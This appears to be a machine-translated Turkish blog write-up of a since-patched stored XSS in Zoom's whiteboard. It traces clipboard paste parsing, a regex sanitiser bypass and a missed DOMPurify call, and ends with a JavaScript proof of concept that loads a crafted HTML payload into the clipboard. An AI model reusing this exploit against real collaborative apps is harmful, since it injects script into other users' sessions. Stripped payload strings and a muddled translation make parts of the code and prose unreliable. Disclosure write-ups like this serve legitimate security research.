Kopya yapıştırma yükleri ne zaman kendi kendine XSS değil? XSS depolandığında. Son zamanlarda, ilginç bir saldırı vektörünü ortaya çıkarmak için Zoom’un kodunu inceledim. Yol boyunca, Pano ve Datatransfer Web API’lerine daldım ve dinamik sürükle ve bırak içselleri hakkında çok şey öğrendim.
Zoom, kullanıcıların yapışkan notlar, diyagramlar, zengin metinler ve beklediğimiz tüm tipik gerçek zamanlı belge işbirliği özellikleri ile paylaşılan bir tuval üzerinde işbirliği yapmalarını sağlayan bir Zoom beyaz tahta özelliği içerir.
İlginç bir şekilde, bu, JavaScript ve gömülü bir tarayıcı kullanarak hem web hem de yerel istemciler üzerinde çalışmalar. Bu platformlar arası destek sayesinde, bu özellik için istemci tarafı kodunu kolayca alabilirim. Ayrıca, uygulama, kendi webpack patlayıcım gibi araçları kullanarak orijinal dizin yapısına kolayca açmamı sağlayan webpacked kodunun kaynak haritasını içeriyordu.
Kodu hızla gözden geçirdikten ve CodeQL ile birkaç varsayılan tarama çalıştırdıktan sonra, aşağıdaki işlevin panodan kullanıcı verilerini alındığını fark ettim. DataTransfer.getData()
işlev:
private prepareData(t: DataTransfer | null): ReadData | undefined {
if (!t) return;
return {
html: t.getData(MIME_TYPE.TEXT_HTML),
text: t.getData(MIME_TYPE.TEXT_PLAIN),
files: Array.from(t.files || []),
};
}
Aranan koda daha fazla izlemek prepareData
Bunun gerçekten bir macun etkinliği dinleyicisinden kaynaklandığını doğruladım:
document.addEventListener("paste", this.pasteListener);
...
private pasteListener = (evt: ClipboardEvent) => {
this.pasteWrapper(this.prepareData(evt.clipboardData));
};
MDN belgelerini okurken (bunu gerçekten tavsiye ederim), macun etkinliğinin bir clipboardData
bir örneği olan mülk DataTransfer
nesne. Sırayla, DataTransfer
nesneler arasında bir getData(format)
işlev. Belgeler ayrıca format
bağımsız değişken, yapıştırılan verilere bağlı olarak birkaç tür olabilir, text/plain
(tipik düz metin için) text/uri-list
(URL’ler veya dosyalar için data:
URI) ve ayrıca tescilli türler application/x-moz-file
. Spesifikasyon büyüleyici ve kesinlikle tarayıcıya özgü hatalar için araştırmaya değer. Burada, text/html
Belirtilen tür serileştirilmiş (Bu daha sonra önemli olacaktır) HTML verileri.
İlginç bir detay, panonun farklı veri türleri içerebilmesidir:
const dt = event.dataTransfer;
dt.setData("text/html", "Hello there, stranger");
dt.setData("text/plain", "Hello there, stranger");
Her durumda, çoğu uygulama text/html
Slaytlar, diyagramlar vb. Bu zengin verileri panodan çıkardıktan sonra, uygulama daha sonra sayfaya ekledi. page.paste()
.
private pasteWrapper = async (t?: ReadData) => {
...
await this.read();
...
await page.paste(position);
};
Çok heyecanlanmadan önce paste
Nasıl olduğunu anlamam gerekiyordu read
İşlev, pano verilerini sayfaya gerçekten eklenen HTML düğümlerine ayrıştırdı.
private async read() {
let items: ClipboardItems = [];
try {
items = await navigator.clipboard.read();
} catch (err) {
SYSTEM_LOGGER.warn(err);
return;
}
const target = items.pop();
if (!target) return;
const type = target.types[target.types.length - 1];
if (!type) return;
const b = await target.getType(type);
...
if (type === MIME_TYPE.TEXT_PLAIN) {
const t = await b.text();
t && data.push(this.createTextBox
} else if (IMAGE_REGEXP.test(type)) {
const ext = getBlobTypeExt(b);
if (!ext) return;
const f = new File([b], `image.${ext}`, { type });
if (!this.uploadPermission(f)) return;
const img = await this.createImage(f);
img && data.push(img);
} else if (type === MIME_TYPE.TEXT_HTML) {
const zdcData = await getZDCCopyObjects(b);
if (zdcData) {
data.push(...zdcData.objs);
zdcData.meta && this.updateMeta(zdcData.meta);
} else {
const t = getStringFromHtmlString(await b.text());
t && data.push(this.createTextBox
}
...
}
Burada, kod bir dizi okudu ClipboardItem
Panodan nesneler, ardından ilkini okuyun ClipboardItem
dizide ve türüne bağlı olarak ayrıştırdı. Bunların her biri bir döndü ZDCCopyObject
Özel bir protokol arabellek türü olduğu ortaya çıktı. Bu tür beyaz tahtada metin kutusu, yapışkan not, doagram veya görüntü gibi bir öğeyi temsil ediyordu. Örneğin, görüntüler için:
private async createImage(file: File) {
...
return {
pageID: parseInt(page.id),
id,
wireType: WBObjType.WB_OBJ_TYPE_IMAGE,
transform: [scale, 0, 0, scale, left, top],
fileID,
size: originSize,
originalID: id,
} as ZDCCopyObject;
}
İstemcilerden sunucuya gönderilen WebSocket mesajlarındaki bu serileştirilmiş protokol arabelleğini tanıdım, yani istemciler yapıştırılan verileri sunucuya gönderdi. Görüntü ve düz metin türleri kodu inceledikten sonra özellikle ilginç görünmese de, HTML türü dikkatimi çekti çünkü verileri karmaşık bir şekilde ayrıştırdı:
export async function getZDCCopyObjects(b: Blob) {
if (b.type !== MIME_TYPE.TEXT_HTML) return;
const t = await b.text();
return getZDCCopyObjectsFromHtmlString
}
export const ExtractCopy = /^<--\(zdc-data\)(.*)\(\/zdc-data\)-->$/;
export const CopyMeta = {
tag: "span",
meta: "data-meta",
};
export function getZDCCopyObjectsFromHtmlString(s: string) {
try {
const d = new DOMParser().parseFromString(s, MIME_TYPE.TEXT_HTML);
const el = d.querySelector(`${CopyMeta.tag}[${CopyMeta.meta}]`);
if (!el) return;
const bta = el.getAttribute(CopyMeta.meta);
if (!bta) return;
const match = bta.match(ExtractCopy);
if (!match || !match[1]) return;
const { objs, meta } = JSON.parse(
decodeURIComponent(window.atob(match[1]))
) as {
objs: ZDCCopyObject[];
meta?: ClipTargetMeta;
};
return Array.isArray(objs) ? { objs, meta } : undefined;
} catch (err) {
SYSTEM_LOGGER.warn(err);
}
}
Kısacası, veriler aşağıdaki adımlar aracılığıyla pano verilerinden “serileştirilir”:
- Pano verilerini HTML olarak ayrıştırın.
- Değerini ayıklayın
data-meta
İlk olarak öznitelikspan
HTML’de eleman. - Değerin Regex ile eşleştiğini onaylayın
/^<--\(zdc-data\)(.*)\(\/zdc-data\)-->$/
ve iç eşleşmeyi çıkarın. - Base64-Decode İç eşleşme.
- Uri-Decode Base64 kodlu veriler.
- Sonucu Ayrıştırın
{ objs: ZDCCopyObject[]; meta?: ClipTargetMeta; }
NeresiZDCCopyObject
bir beyaz tahta öğesinin temsilidir veClipTargetMeta
öğenin meta verileri beyaz tahtadaki XY pozisyonu gibidir. - Sazüzlü sonucu döndürün.
Bir XSS’ye yaklaşıyormuşum gibi görünüyordu – bu beyaz tahta öğelerinin sunucuya serileştirilmiş bir protokol arabelleği olarak WebSocket aracılığıyla iletildiğini, daha sonra gerçek zamanlı görünümlerini güncellemek için beyaz tahtanın diğer tüm izleyicilerine gönderildiğini unutmayın. Şimdi incelemem gerekiyordu lavabo bu girdinin.
Özel protokol arabellek tanımlarını inceleyerek, beyaz tahtanın aşağıdaki öğe türlerini desteklediğini keşfettim:
export enum WBObjType {
WB_OBJ_TYPE_UNKNOWN,
WB_OBJ_TYPE_SHAPE,
WB_OBJ_TYPE_LINE,
WB_OBJ_TYPE_TEXT,
WB_OBJ_TYPE_RICHTEXT,
WB_OBJ_TYPE_GROUP,
WB_OBJ_TYPE_SCRIBBLE,
WB_OBJ_TYPE_STICKYNOTE,
WB_OBJ_TYPE_IMAGE,
WB_OBJ_TYPE_COMMENT,
}
WebSocket tarafından beyaz tahta izleyicilerine yeni bir ürün yayınlandığında, createFabricObject
İstemci tarafındaki işlev, eşleşen reaksiyon bileşenini sayfaya ekler. Burada, bir takılımı vurdum – React tüm öznitelikleri varsayılan olarak dezenfekte ettiğinden, herhangi bir kullanıcı tarafından kontrol edilen girişin bir XSS’ye neden olabileceği tek yol, dangerouslySetInnerHTML
bağlanmak. Ancak, istemci tarafı kodundaki bileşenlerin hiçbiri kullanılmadı dangerouslySetInnerHTML
… Ya da öyle düşündüm. Beyaz tahta öğelerinde farklı yüklerle oynarken, bazı HTML etiketlerinin Onları doğrudan yapışkan notlara girdiğimde çalışırken, diğerleri dezenfekte edildi. Bu onsuz nasıl oluyordu
dangerouslySetInnerHTML
?
Anlaşıldığı üzere, yapışkan notlar gibi çeşitli bileşenler kullanıyordu. react-contenteditable
Çocuk bileşeni olarak bağımlılık. Tasarım gereği, react-contenteditable
geçer html
atıf dangerouslySetInnerHTML
!
Geliştiriciler, sterilize etmek için katı bir DomPurify konfigürasyonu kullandıkları için bunun farkında görünüyordu. html
bağlanmak:
export const sanitizeHTML = (content: string) => {
return DOMPurify.sanitize(content, {
ALLOWED_TAGS: ["b", "i", "div", "br"],
ALLOWED_ATTR: [],
});
};
...
<ContentEditable
className="content-editable-list"
disabled
html={sanitizeHTML(c.content)}
onChange={() => {}}
/>
Ne yazık ki, tüm örnekleri kontrol ettikten sonra ContentEditable
Kodda, kullanmayı unuttuklarını keşfettim sanitizeHTML
üzerinde ContentEditable
çocuğu StickyNote
bileşen! Ancak, heyecanla birkaç yük daha denedikten sonra, geliştiricilerin buna izin verdiğini fark ettim çünkü başka bir sanitasyon işlevi yürüttükleri convertToText
Girişte, ContentEditable
html
bağlanmak:
export const convertToText = (str = "") => {
// Ensure string.
let value = String(str);
// Convert encoding.
value = value.replace(/ /gi, " ");
value = value.replace(/&/gi, "&");
// Replace `
`.
value = value.replace(/
/gi, "\n");
// Replace `` (from Chrome).
value = value.replace(//gi, "\n");
// Replace `` (from IE).
value = value.replace(//gi
, "\n");
// Remove extra tags.
value = value.replace(/<(.*?)>/g, "");
return value;
};
This function used regexes to replace a few HTML tags with their visual equivalents, such as newlines for div
, and removed any other tags. It also converted a few HTML encodings to prevent bypasses.
How could I beat a regex like /<(.*?)>/g
? The first clue was that ><
still passed the sanitisation without any changes. Furthermore, while the regex used the /g
global flag to replace all matches, it failed to include the /m
multiline flag. As such,
emerged unscathed!
Now, all I needed to do was to generate the serialised Protocol Buffer and send it by Websocket. However, why not write a script to add it to my clipboard and paste it to trigger the XSS? Way more fun and easier to reproduce by the triagers :)
// changed some values
var objs = [{
id: 123,
pageID: 123,
size: [1000, 1000],
transform: [1, 0, 0, 1, 1010, 76],
stickyWriterName: "Test",
fill: 4293630463,
stroke: 4294967295,
strokeWidth: 1,
fontSize: 32,
fontWeight: "normal",
textAlign: 1,
text: "",
textFill: 572666111,
createTime: 1659021155815,
modifiedTime: 1659021155815,
wireType: 7,
parentID: 171946614915072,
originalID: 79322586389
}]
var meta = {
docID: "abc123",
originalCopyCenterPos: {
x: 1010,
y: 76
}
}
function getHtmlString(objs, meta) {
const str = JSON.stringify({
objs,
meta
});
const b = window.btoa(encodeURIComponent(str));
return `${b}(/zdc-data)-->">`;
}
function getHtmlBlob(objs, meta) {
return new Blob([getHtmlString(objs, meta)], {
type: "text/html",
});
}
var i = {}
i["text/html"] = getHtmlBlob(objs, meta)
setTimeout(function() {
navigator.clipboard.write([new ClipboardItem(i)]);
console.log("Payload added to clipboard")
}, 1500)
Zoom ekibi, iyi bir güvenlik programının işareti olan güvenlik açığını hızla çözdü.
- 29 Temmuz: İlk açıklama
- 2 Ağustos: Triaged
- 21 Ağustos: Yamalı
Birden fazla sanitasyon ve validasyon adımlarından bir hatayı kapan bu tavşan deliğinden aşağı inmekten gerçekten keyif aldım. Pano saldırısı vektörü, JavaScript API'leri aracılığıyla kontrol edilebilir olduğu için ilginç senaryolar sunar. Yükün WebSocket aracılığıyla diğer kullanıcılara iletildiğini ve ayrıca konsolda kopyalama JS ile aynı değil. Daha ilginç saldırı vektörlerini bulmak için kesinlikle MDN belgelerinin daha derine inmeye değer.
Savunmasız lavabo bir bağımlılıkta var olduğundan, Codeql taramam kaçırdı. Kod taramaları genellikle meydana geldiğinden, bu hata varsayılan olarak devsecops boru hatları tarafından kaçırılır. test
Bağımlılıkların kurulduğu herhangi bir dinamik testten önce sahne.
Ayrıca: Regexes genellikle sanitasyon için zordur.